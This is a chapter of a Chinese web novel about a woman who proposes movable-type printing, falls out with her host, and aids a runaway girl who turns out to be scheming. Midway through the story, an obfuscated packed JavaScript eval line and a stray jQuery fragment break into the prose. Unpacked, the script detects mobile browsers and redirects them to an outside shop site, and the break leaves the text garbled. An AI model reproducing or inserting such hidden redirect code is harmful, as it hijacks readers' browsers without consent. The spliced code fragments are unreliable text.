桑澈指着匠人雕刻的整块木板，条理清晰地说道。
“我的想法是，我们将每一个汉字，分别刻成独立的小木方块。”
百里重明没太听懂。
“为何要这样，有何缘故？”
她伸手指着正在雕刻的木板，语气从容。
“少爷，您看现在这种雕版印刷弊端太多。”
“其一，一整块书页全部刻在同一块木板之上，工匠连日辛苦劳作，但凡有一字刻坏，整块梨木就彻底作废。”
“其二，这套书刻印完毕之后，整块木板大多闲置堆积。日后我新作话本，又得重新刻板，耗时非常漫长。”
“其三，刻好的版片堆放起来占很大地方，长久存放，木板会受潮开裂。我刚才看到里室就有不少已经不能再用了。”
“而活字印刷，就是将每一个汉字，分别刻成独立的小木方块。需要刊印哪本书，就把需要用到的字块拼凑在铁板上，用木框夹紧固定，涂上墨便可以印刷。”
“印完之后，将字块拆下来妥善收好，往后我再创作新的话本，再次取用，反复循环使用。少爷，你觉得可好？”
话刚落，作坊里霎时间安静下来。
百里重明认真听完桑澈一番详尽的解说，原本唇角常年漫不经心的笑意，此刻也尽数敛去，取而代之的是深深的震撼。
他反复摩挲手里一块废弃的梨木边角。
千百年来，写书刊印皆是整块雕版。
世家读书人、一众匠人早就默认这是唯一的法子，偏偏眼前之人就能想出这样破天荒的主意。
百里重明看着桑澈，眼神里面多了几分敬重。
“我原以为姐姐只是文笔出众，却没想到见识格局广大。若是活字印刷成真，日后定会撼动整个文坛。”
周测站在公子身后，嘴巴微张，完全愣住，心里由衷佩服桑澈的才智。
这位桑娘子真是一位与众不同的女子。
百里重明郑重说道：“诸位听着，这位就是《花娘传》的作者，折耳根女士。刚才她说的话，大家都听到了吧。”
其余匠人面面相觑，他们习惯了雕版印刷，若是突然革新，倒是十分的不适应。
没有人喜欢突如其来的变故，若是桑澈此法不行，耽误了时辰怎么办。
再者说，百里少爷的几句轻飘飘的变革，压在他们身上的却是实打实的担子。
甚至有几位已经开始奚落。
“不过是个无知的妇人，写写话本子也就算了，刻板一事是我们行内多年的规矩，她怎能知晓不易。”
“朝汤里面的士子大儒都不曾想出，她一个女子倒是多的轻巧，真做起来未必可行。”
看见他们脸上五颜六色的表情，桑澈还没什么反应呢，百里重明却立刻开口：
“诸位老师傅、前辈们，尽管放开手去做，木料、工钱全部由我承担，诸位只管按照桑姑娘的吩咐用心去做。这件事情，我全力支持。钱财不是问题。”
匠人们不再说话了。
面对百里少爷的请示，他们敢怒也不敢言。
桑澈她本以为自己提出活字印刷，会很收到老师傅们的追捧，没想到无一人理解。
桑澈在内心叹了口气，很快又想通了。
人人都喜欢安逸的事情，就比如她，希望和赵留慧的感情一如从前那般友好。
但总是有意想不到的时刻，会搅乱她们的友谊。
桑澈交代好事宜，等几人再次出门，已经是申时，快到吃晚饭的时候了。
二人后日再叙。
百里重明嘱咐车夫，一定要将桑澈妥帖地送到赵留慧的家里。
桑澈推开柴门，发现家里静悄悄的，没有人。
这个点了，赵留慧不应该早就从如意馆回来了吗，难道出什么事了？
桑澈一边想着赵留慧的事情，一边更衣，随后去后厨做点食物。
正想着，就看见柴门被打开，赵留慧与在鸡窝摸鸡蛋的桑澈遥遥对视一眼。
“……”
谁都没有说话。
桑澈站起身来，掸掉身上的鸡毛，尝试服软。
“赵姐姐，今日……”
赵留慧却不给她面子，冷酷打断。
“今日我也乏了，有什么事情以后说。”
说完，便蹬蹬上了二楼，只留下一个孤傲的背影。
桑澈当即落泪，捂着嘴巴不叫自己哭出声。
系统无奈：【你的心肠怎么那么脆弱啊，人家又没骂你，你就哭了。】
桑澈小声抽泣着：“我就是……委屈。我什么也没做错，就平白无故受了别人的冷脸。凭什么啊！”
系统：【赵留慧一向希望何春征读书、考取进士，结果熊孩子逃课来听你的书，当娘的不生气才怪呢。】
桑澈狠狠用手背蹭掉眼泪。
“我绝对不会再理她了！”
系统：【你看，又说气话，你住人家的，吃人家的，还拿人家的银子。有什么委屈就受着吧……哎呀，姑奶奶啊，别哭了多大点事就掉眼泪，又不是被人捅了一刀，咋这么脆弱呢！】
桑澈边哭边叫。
“我就是有泪失禁不行啊！！！傻逼系统，死人机，你给老娘闭嘴！！！”
系统不说话了。
翌日，凌晨。
桑澈又被磨刀杀猪的声音吵醒，愤愤地用枕头遮住耳朵。
系统：【都来这里那么长时间了，我以为你习惯了，没想到还是没有适应。】
桑澈本来心里有火，这下子被吵到，彻底睡不住了，索性起床出门。
初夏的清晨还有一些凉意。
她漫无目的地走到河边，摸到几个石块，投入河内。
看到水面上被自己咋出的水坑和涟漪，桑澈觉得解压，又搬起一块大石头扔了出去。
“扑通——”
“哗——”
桑澈长长舒了一口气。
“痛快！”
晚风轻轻拂过草木。
忽然身后的灌木丛传来窸窸窣窣的响动，枝叶簌簌晃动。
桑澈指尖猛地一僵，向后看去。
此时刚过丑时，夜色浓稠漆黑，树影重重叠叠，到处都是黑漆漆的。
她孤身一人，心底顿时揪紧，后背泛起一层寒意。
深夜荒僻之处，谁会藏在草丛里面？
难不成是歹人跟踪自己？
她屏住呼吸，身子下意识往后退了两步，心脏咚咚急促跳动。
她不敢贸然转身，小声试探问道：“是谁躲在那里？”
草丛里的声音瞬间不动了。
肯定是人，若是耗子夜猫什么的，不可能会听懂她说的话。
桑澈身无长物，只能搬起一块大石头举起来。
她喝着嗓子，拔高声线，努力将自己包装成惹不起的模样。
“再不出来，就别怪我不客气了！我砸人可疼了！”
“不要。”
是一道细细的声音。
有个女童从草丛里钻出来，身上穿着发旧的黑衣，头发凌乱。
桑澈认出此人，是那个流浪的女孩。
桑澈放下石头：“原来是你，吓我一跳，好端端的，躲在石头后面做什么。”
女童也认出了桑澈：“姐姐，居然是你。我出来找点吃的，不小心吓到你了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766729|209724||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
桑澈：“我叫桑澈，你叫什么名字？”
女童：“我没有名字，我从小就被父母送给五十岁的鳏夫当童养媳，他们都叫我小娇。但是我逃了出来，给自己取了个新名字，叫荆棘。”
桑澈微微一愣。
哪有人给自己取名荆棘的？
她打着月色将女孩看了一圈，女孩下巴极尖，脸上没什么肉，显得眼睛非常大。
看来这个女孩也是经历了常人无法想象的苦难。
“你住在哪里？”
“不瞒姐姐，我没地方可去，一直是住在乱葬岗，靠着腐肉度日。早些天也去了几家行当做工，但是他们克扣我的工钱，动不动还打我。我现在只能在西街讨饭。姐姐，我真的快受不住了，求您可怜我……”
说完，荆棘挽起自己的袖口，露出瘦骨嶙峋的手臂，鞭伤密密麻麻爬满小臂，纵横交错。
桑澈的心一点点沉下去，心口满是酸涩。
桑澈也没有地方给她住，现下她和赵留慧关系僵硬，平白无故再带个人，定是不行。
她从怀里摸出几块碎银，塞到荆棘的手中。
“当神棍能赚几个钱，我给你一些傍身的银子，你眼睛擦亮些，且去再找几个好心的雇主。”
荆棘扑通一声跪在地上，朝她磕了三个响头。
“一直没有谢谢姐姐，姐姐救了我三次。一是在我濒死之前，给了我救命的馒头；二是我偷了包子要被抓取官府，姐姐拿出了铜板；三是现在，姐姐给了我傍身的银子。荆棘这条命，现在就是姐姐的了！”
系统：【呦，收了个死士。】
桑澈哭笑不得，将人拉起来：“我又不是阎王，要你的命做什么。起来吧。”
荆棘抹了抹眼泪，露出笑容：“桑姐姐，你真好，书里说了，好人都有好报。林贯姐也是好人，现在快要与人成婚了，可以脱籍当正头娘子了。”
桑澈点点头：“知道了。我出来的太久，也该回家了，你拿着钱财买一些药，留疤会不好看的。再会。”
荆棘看着桑澈渐行渐远的背影，踮起脚尖依依不舍地喊道：“姐姐慢走啊——”
待桑澈的身影彻底远去，荆棘收起可怜兮兮的表情，掂量了一下手里的银子。
荆棘嘴角扯出一抹极淡的笑容，心底暗自思忖。
古往今来，对着有能力、心肠软的强者示弱卖乖，是最省力的法子。
随随便便哭一哭笑一笑，就能获得银两。
要不是她乖乖做了几个月的童养媳，下厨干农活都是亲力亲为，让那老头放下戒备心，她到现在还不一定能跑出来呢。
“……”
荆棘摸了摸碎银，开始思考自己要不要像头牌歌姬林贯那样。
只需要栏杆弹曲卖笑，就可以拿到客商随手打赏的银钱。
不仅丰厚，而且来得轻松快捷，远胜在外做工挨打、克扣薪俸、在乱葬岗啃食残腐的日子。
“……”
她垂着眼，指尖一下一下捻着银角，心底反复权衡利弊。
这年头，自尊心算什么，银子才是真道理！
可从前她亲眼见过青楼里歌伶的下场，终生困在乐籍，身不由己，最后要么被随便哪个老男人收做外室，一辈子寄人篱下。
她已经看够了老男人的脸色了！
一想到要任由陌生男子打量调戏，荆棘的心口便泛起一阵刺人的酸涩。
荆棘将碎银紧紧攥在掌心。
伸出手，狠狠抽了自己几个耳光，嘴角都溢出了鲜血。
荆棘，你给我记住了，无论何时何地，人贵在自重，不可自轻自贱。
荆棘深吸一口气，收起银子，隐入黑夜。